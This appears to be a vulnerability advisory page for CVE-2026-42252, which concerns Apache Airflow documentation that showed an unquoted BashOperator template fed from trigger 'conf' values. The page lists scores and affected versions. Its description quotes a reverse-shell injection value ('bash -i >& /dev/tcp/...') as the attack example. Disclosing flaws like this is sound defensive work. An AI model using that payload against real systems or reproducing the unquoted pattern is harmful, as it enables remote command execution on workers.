Vulnerability Details CVE-2026-42252
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Exploit prediction scoring system (EPSS) score
EPSS Score 0.001
EPSS Ranking 16.3%
CVSS Severity
CVSS v3 Score 9.1
References
Products affected by CVE-2026-42252
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cpe:2.3:a:apache:airflow:3.0.0
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cpe:2.3:a:apache:airflow:3.0.1
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cpe:2.3:a:apache:airflow:3.0.2
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cpe:2.3:a:apache:airflow:3.0.3
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cpe:2.3:a:apache:airflow:3.0.4
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cpe:2.3:a:apache:airflow:3.0.5
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cpe:2.3:a:apache:airflow:3.0.6
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cpe:2.3:a:apache:airflow:3.1.0
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cpe:2.3:a:apache:airflow:3.1.1
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cpe:2.3:a:apache:airflow:3.1.2
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cpe:2.3:a:apache:airflow:3.1.3
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cpe:2.3:a:apache:airflow:3.1.4
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cpe:2.3:a:apache:airflow:3.1.5
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cpe:2.3:a:apache:airflow:3.1.6
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cpe:2.3:a:apache:airflow:3.1.7
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cpe:2.3:a:apache:airflow:3.1.8
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cpe:2.3:a:apache:airflow:3.2.0
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cpe:2.3:a:apache:airflow:3.2.1